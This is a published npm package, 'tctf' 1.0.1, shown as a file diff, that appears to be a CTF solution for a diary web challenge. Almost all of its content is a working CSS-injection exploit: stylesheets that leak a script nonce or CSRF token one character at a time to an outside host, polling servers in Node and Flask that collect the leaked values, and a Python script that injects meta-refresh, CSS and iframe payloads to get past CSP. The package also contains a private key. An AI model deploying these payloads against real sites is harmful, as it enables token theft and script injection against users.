tctf 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of tctf might be problematic. Click here for more details.

@@ -0,0 +1,16 @@
1
+ {
2
+ // 使用 IntelliSense 了解相关属性。
3
+ // 悬停以查看现有属性的描述。
4
+ // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
5
+ "version": "0.2.0",
6
+ "configurations": [
7
+ {
8
+ "name": "Python: 当前文件",
9
+ "type": "python",
10
+ "request": "launch",
11
+ "program": "${file}",
12
+ "console": "integratedTerminal",
13
+ "justMyCode": false
14
+ }
15
+ ]
16
+ }
package/1.css ADDED
@@ -0,0 +1 @@
1
+ html:has(script[nonce^='a']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=a);}html:has(script[nonce$='a']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=a);}html:has(script[nonce^='b']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=b);}html:has(script[nonce$='b']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=b);}html:has(script[nonce^='c']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=c);}html:has(script[nonce$='c']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=c);}html:has(script[nonce^='d']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=d);}html:has(script[nonce$='d']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=d);}html:has(script[nonce^='e']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=e);}html:has(script[nonce$='e']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=e);}html:has(script[nonce^='f']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=f);}html:has(script[nonce$='f']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=f);}html:has(script[nonce^='g']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=g);}html:has(script[nonce$='g']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=g);}html:has(script[nonce^='h']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=h);}html:has(script[nonce$='h']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=h);}html:has(script[nonce^='i']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=i);}html:has(script[nonce$='i']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=i);}html:has(script[nonce^='j']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=j);}html:has(script[nonce$='j']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=j);}html:has(script[nonce^='k']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=k);}html:has(script[nonce$='k']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=k);}html:has(script[nonce^='l']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=l);}html:has(script[nonce$='l']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=l);}html:has(script[nonce^='m']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=m);}html:has(script[nonce$='m']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=m);}html:has(script[nonce^='n']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=n);}html:has(script[nonce$='n']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=n);}html:has(script[nonce^='o']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=o);}html:has(script[nonce$='o']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=o);}html:has(script[nonce^='p']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=p);}html:has(script[nonce$='p']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=p);}html:has(script[nonce^='q']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=q);}html:has(script[nonce$='q']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=q);}html:has(script[nonce^='r']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=r);}html:has(script[nonce$='r']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=r);}html:has(script[nonce^='s']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=s);}html:has(script[nonce$='s']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=s);}html:has(script[nonce^='t']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=t);}html:has(script[nonce$='t']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=t);}html:has(script[nonce^='u']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=u);}html:has(script[nonce$='u']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=u);}html:has(script[nonce^='v']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=v);}html:has(script[nonce$='v']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=v);}html:has(script[nonce^='w']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=w);}html:has(script[nonce$='w']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=w);}html:has(script[nonce^='x']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=x);}html:has(script[nonce$='x']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=x);}html:has(script[nonce^='y']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=y);}html:has(script[nonce$='y']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=y);}html:has(script[nonce^='z']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=z);}html:has(script[nonce$='z']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=z);}html:has(script[nonce^='0']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=0);}html:has(script[nonce$='0']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=0);}html:has(script[nonce^='1']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=1);}html:has(script[nonce$='1']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=1);}html:has(script[nonce^='2']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=2);}html:has(script[nonce$='2']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=2);}html:has(script[nonce^='3']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=3);}html:has(script[nonce$='3']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=3);}html:has(script[nonce^='4']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=4);}html:has(script[nonce$='4']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=4);}html:has(script[nonce^='5']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=5);}html:has(script[nonce$='5']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=5);}html:has(script[nonce^='6']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=6);}html:has(script[nonce$='6']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=6);}html:has(script[nonce^='7']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=7);}html:has(script[nonce$='7']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=7);}html:has(script[nonce^='8']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=8);}html:has(script[nonce$='8']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=8);}html:has(script[nonce^='9']) {background-image:url(https://127.0.0.1:8000/leak_prefix?q=9);}html:has(script[nonce$='9']) {border-image:url(https://127.0.0.1:8000/leak_suffix?q=9);}
package/2.css ADDED
@@ -0,0 +1 @@
1
+ 123
Binary file
package/cert.pem ADDED
@@ -0,0 +1,31 @@
1
+ -----BEGIN CERTIFICATE-----
2
+ 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
31
+ -----END CERTIFICATE-----
package/css.js ADDED
@@ -0,0 +1,78 @@
1
+ const compression = require('compression')
2
+ const express = require('express');
3
+ const cssesc = require('cssesc');
4
+ const spdy = require('spdy');
5
+ const fs = require('fs');
6
+
7
+ const app = express();
8
+ app.set('etag', false);
9
+ app.use(compression());
10
+
11
+ const SESSIONS = {};
12
+
13
+ const POLLING_ORIGIN = `https://localhost:3000`;
14
+ const LEAK_ORIGIN = `https://127.0.0.1:3000`;
15
+
16
+ function urlencode(s) {
17
+ return encodeURIComponent(s).replace(/'/g, '%27');
18
+ }
19
+
20
+ function createSession(length = 150) {
21
+ let resolves = [];
22
+ let promises = [];
23
+ for (let i = 0; i < length; ++i) {
24
+ promises[i] = new Promise(resolve => resolves[i] = resolve);
25
+ }
26
+ resolves[0]('');
27
+ return { promises, resolves };
28
+ }
29
+
30
+ const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
31
+ app.get('/polling/:session/:index', async (req, res) => {
32
+ let { session, index } = req.params;
33
+ index = parseInt(index);
34
+ if (index === 0 || !(session in SESSIONS)) {
35
+ SESSIONS[session] = createSession()
36
+ }
37
+
38
+ res.set('Content-Type', 'text/css');
39
+ res.set('Cache-Control', 'no-cache');
40
+
41
+ let knownValue = await SESSIONS[session].promises[index];
42
+
43
+ const ret = CHARSET.map(char => {
44
+ return `[name='csrftoken'][value^='${cssesc(knownValue+char)}'] ~ button {
45
+ background: url('${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}');
46
+ }`;
47
+ }).join('\n');
48
+
49
+ res.send(ret);
50
+
51
+ });
52
+
53
+ app.get('/leak/:session/:value', (req, res) => {
54
+ let { session, value } = req.params;
55
+ console.log(`[${session}] Leaked value: ${value}`);
56
+
57
+ SESSIONS[session].resolves[value.length](value);
58
+ res.status(204).send();
59
+ });
60
+
61
+ app.get('/generate', (req, res) => {
62
+ const length = req.query.len || 100;
63
+ const session = Math.random().toString(36).slice(2);
64
+
65
+ res.set('Content-type', 'text/plain');
66
+ for (let i = 0; i < length; ++i) {
67
+ res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);
68
+ }
69
+ res.send();
70
+ });
71
+
72
+ const options = {
73
+ cert: fs.readFileSync('localhost-cert.pem'),
74
+ key: fs.readFileSync('localhost-privkey.pem'),
75
+ }
76
+
77
+ const PORT = 3000;
78
+ spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))
package/css.py ADDED
@@ -0,0 +1,88 @@
1
+ from flask import Flask, request, Response, render_template
2
+ import urllib.parse
3
+ import string
4
+ import threading
5
+ from hypercorn.asyncio import serve
6
+ from hypercorn.config import Config
7
+ import asyncio
8
+ import ssl
9
+ import time
10
+
11
+ from npm.npm import npm_upload
12
+
13
+ def _exception_handler(lp, context):
14
+ exception = context.get("exception")
15
+ if isinstance(exception, ssl.SSLError):
16
+ pass
17
+ else:
18
+ lp.default_exception_handler(context)
19
+
20
+ LEAK_LENGTH = 32
21
+ THREAD_NUM = LEAK_LENGTH // 2 + 1
22
+ CHAR_CANDIDATES = string.ascii_lowercase + string.digits
23
+ idx = 0
24
+ prefix = ""
25
+ suffix = ""
26
+ exp_url = "http://qvmrzt.natappfree.cc"
27
+
28
+ events = [threading.Event() for i in range(THREAD_NUM)]
29
+ for event in events:
30
+ event.clear()
31
+ events[0].set()
32
+
33
+ app = Flask(__name__)
34
+
35
+ def build_payload(index, candidates):
36
+ global prefix
37
+ global suffix
38
+ payload = ""
39
+ for candidate in candidates:
40
+ id_prefix_to_try = prefix + candidate
41
+ id_suffix_to_try = candidate + suffix
42
+ payload += "html:has(script[nonce^='"+id_prefix_to_try+"']) {background-image:url(" + exp_url + "/leak_prefix?q=" + urllib.parse.quote(candidate) + ");}"
43
+ payload += "html:has(script[nonce$='"+id_suffix_to_try+"']) {border-image:url(" + exp_url + "/leak_suffix?q=" + urllib.parse.quote(candidate) + ");}"
44
+ npm_upload(index, payload)
45
+ return payload
46
+
47
+ @app.route("/len")
48
+ def len():
49
+ global idx
50
+ len = int(request.args.get('len'))
51
+ events[len-1].wait()
52
+ payload = build_payload(len, CHAR_CANDIDATES)
53
+ return Response(payload, mimetype='text/css')
54
+
55
+ @app.route("/leak_prefix")
56
+ def leak_prefix():
57
+ global prefix
58
+ global suffix
59
+ global idx
60
+ q = request.args.get('q')
61
+ prefix += q
62
+ print("[+]prefix: " + prefix)
63
+ idx += 1
64
+ if idx <= THREAD_NUM:
65
+ events[idx].set()
66
+ return ""
67
+
68
+ @app.route("/leak_suffix")
69
+ def leak_suffix():
70
+ global suffix
71
+ q = request.args.get('q')
72
+ suffix = q + suffix
73
+ print("[+]suffix: " + suffix)
74
+ return ""
75
+
76
+ @app.route('/exp')
77
+ def exp():
78
+ return render_template('exp.html')
79
+
80
+ if __name__ == "__main__":
81
+ config = Config()
82
+ # config.certfile = "cert.pem"
83
+ # config.keyfile = "key.pem"
84
+ config._bind = ["127.0.0.1:8083"]
85
+ loop = asyncio.new_event_loop()
86
+ asyncio.set_event_loop(loop)
87
+ loop.set_exception_handler(_exception_handler)
88
+ loop.run_until_complete(serve(app, config))
package/exp.js ADDED
@@ -0,0 +1,76 @@
1
+ const express = require('express');
2
+ const compression = require('compression');
3
+ const cssesc = require('cssesc');
4
+ const spdy = require('spdy');
5
+ const fs = require('fs');
6
+
7
+ const app = express();
8
+ app.set('etag', false);
9
+ app.use(compression());
10
+
11
+ const SESSIONS = {};
12
+
13
+ const LEAK_ORIGIN = `https://127.0.0.1:3000`;
14
+
15
+ function urlencode(s) {
16
+ return encodeURIComponent(s).replace(/'/g, '%27');
17
+ }
18
+
19
+ function createSession(length = 150) {
20
+ let resolves = [];
21
+ let promises = [];
22
+ for (let i = 0; i < length; ++i) {
23
+ promises[i] = new Promise(resolve => resolves[i] = resolve);
24
+ }
25
+ resolves[0]('');
26
+ return { promises, resolves };
27
+ }
28
+
29
+ // const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
30
+ const CHARSET = Array.from('1234567890qwertyuiopasdfghjklzxcvbnm');
31
+ app.get('/polling/:session/:index', async (req, res) => {
32
+ let { session, index } = req.params;
33
+ index = parseInt(index);
34
+ if (index === 0 || !(session in SESSIONS)) {
35
+ SESSIONS[session] = createSession()
36
+ }
37
+
38
+ res.set('Content-Type', 'text/css');
39
+ res.set('Cache-Control', 'no-cache');
40
+
41
+ let knownValue = await SESSIONS[session].promises[index];
42
+
43
+ const ret = CHARSET.map(char => {
44
+ return `html:has(script[nonce^=${cssesc(knownValue+char)}] {background-image:url(${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)});}`;
45
+ }).join('\n')
46
+
47
+ res.send(ret);
48
+
49
+ });
50
+
51
+ app.get('/leak/:session/:value', (req, res) => {
52
+ let { session, value } = req.params;
53
+ console.log(`[${session}] Leaked value: ${value}`);
54
+
55
+ SESSIONS[session].resolves[value.length](value);
56
+ res.status(204).send();
57
+ });
58
+
59
+ app.get('/generate', (req, res) => {
60
+ const length = req.query.len || 32;
61
+ const session = Math.random().toString(36).slice(2);
62
+
63
+ res.set('Content-type', 'text/plain');
64
+ for (let i = 0; i < length; ++i) {
65
+ res.write(`<style>@import '${LEAK_ORIGIN}/polling/${session}/${i}';</style>\n`);
66
+ }
67
+ res.send();
68
+ });
69
+
70
+ const options = {
71
+ cert: fs.readFileSync('server.crt'),
72
+ key: fs.readFileSync('server.key'),
73
+ }
74
+
75
+ const PORT = 3000;
76
+ spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))
package/exp.py ADDED
@@ -0,0 +1,70 @@
1
+ import requests
2
+ import hashlib
3
+ import re
4
+ import string
5
+ import random
6
+
7
+ def generate_random_string(length):
8
+ letters_and_digits = string.ascii_letters + string.digits
9
+ return ''.join(random.choice(letters_and_digits) for i in range(length))
10
+
11
+ def sha256_hash(text):
12
+ sha256 = hashlib.sha256()
13
+ sha256.update(text.encode('utf-8'))
14
+ return sha256.hexdigest()
15
+
16
+ username = generate_random_string(6)
17
+ password = sha256_hash(username)
18
+ # base_url = "http://127.0.0.1"
19
+ base_url = "http://new-diary.ctf.0ops.sjtu.cn"
20
+ login_url = "/login"
21
+ write_url = "/write"
22
+ share_read_url = "/share/read"
23
+ share_diary_id_url = "/share_diary/"
24
+
25
+ unpkg_url = "https://unpkg.com"
26
+
27
+ # exp_url = "https://127.0.0.1:8000"
28
+ exp_url = "http://qvmrzt.natappfree.cc"
29
+ LEAK_LENGTH = 32
30
+ THREAD_NUM = LEAK_LENGTH // 2 + 1
31
+
32
+ session = requests.session()
33
+
34
+ def write(title, content):
35
+ write_data = {
36
+ "title": title,
37
+ "content": content
38
+ }
39
+ session.post(base_url+write_url, data=write_data)
40
+
41
+ def main():
42
+ print(f"[+] 用户名: {username}")
43
+ print(f"[+] 密码: {password}")
44
+
45
+ # 登录
46
+ login_data = {
47
+ "username": username,
48
+ "password": password
49
+ }
50
+ session.post(base_url+login_url, login_data)
51
+ # 写入meta
52
+ write("meta", f'<meta http-equiv="refresh" content="0;url={exp_url}/exp">')
53
+ session.get(base_url+share_diary_id_url+"0")
54
+ # 写入css
55
+ write("style", ''.join([f"<style>@import url({unpkg_url}/tctf@1.0.0/1.css)</style>\n" for len in range(1, THREAD_NUM)]))
56
+ session.get(base_url+share_diary_id_url+"1")
57
+ # 打印url
58
+ url = f'{base_url}{share_read_url}#id=0&username={username}'
59
+ print(f"[+] url: {url}")
60
+ # 获取nonce
61
+ nonce = input("nonce: ")
62
+
63
+ # 插入iframe标签
64
+ write("iframe", f'<iframe srcdoc="<script nonce=\'{nonce}\'>alert(1)</script>"></iframe>')
65
+ session.get(base_url+share_diary_id_url+"2")
66
+
67
+ session.close()
68
+
69
+ if __name__ == "__main__":
70
+ main()
package/key.pem ADDED
@@ -0,0 +1,52 @@
1
+ -----BEGIN PRIVATE KEY-----
2
+ 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
51
+ Kd2bIYgCreMQ75IcSgL9mgt2IkfN
52
+ -----END PRIVATE KEY-----
package/npm/1.css ADDED
@@ -0,0 +1,72 @@
1
+ html:has(script[nonce^='a']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=a)}
2
+ html:has(script[nonce^='b']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=b)}
3
+ html:has(script[nonce^='c']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=c)}
4
+ html:has(script[nonce^='d']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=d)}
5
+ html:has(script[nonce^='e']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=e)}
6
+ html:has(script[nonce^='f']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=f)}
7
+ html:has(script[nonce^='g']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=g)}
8
+ html:has(script[nonce^='h']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=h)}
9
+ html:has(script[nonce^='i']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=i)}
10
+ html:has(script[nonce^='j']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=j)}
11
+ html:has(script[nonce^='k']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=k)}
12
+ html:has(script[nonce^='l']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=l)}
13
+ html:has(script[nonce^='m']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=m)}
14
+ html:has(script[nonce^='n']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=n)}
15
+ html:has(script[nonce^='o']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=o)}
16
+ html:has(script[nonce^='p']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=p)}
17
+ html:has(script[nonce^='q']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=q)}
18
+ html:has(script[nonce^='r']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=r)}
19
